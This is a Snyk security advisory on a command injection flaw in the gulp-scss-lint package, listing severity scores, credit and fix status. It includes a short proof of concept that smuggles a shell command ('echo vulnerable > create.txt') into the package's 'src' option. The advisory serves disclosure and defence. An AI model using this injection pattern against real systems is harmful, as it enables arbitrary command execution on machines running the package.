Command Injection Affecting gulp-scss-lint package, versions *


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    1.02% (84th percentile)

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  • Snyk ID SNYK-JS-GULPSCSSLINT-560114
  • published 13 Mar 2020
  • disclosed 13 Mar 2020
  • credit JHU System Security Lab

How to fix?

A fix was pushed into the master branch but not yet published.

Overview

gulp-scss-lint is a Lint your .scss files.

Affected versions of this package are vulnerable to Command Injection. It is possible to inject arbitrary commands to the exec function located in src/command.js via the provided options.

PoC by JHU System Security Lab

var root = require("gulp-scss-lint");
var attack_code = "echo vulnerable > create.txt";
var opt = {
  "src": attack_code
}
root(opt);

CVSS Scores

version 3.1
Expand this section

Snyk

5.9 medium
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    High
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    High
  • Integrity (I)
    None
  • Availability (A)
    None
Expand this section

NVD

9.8 critical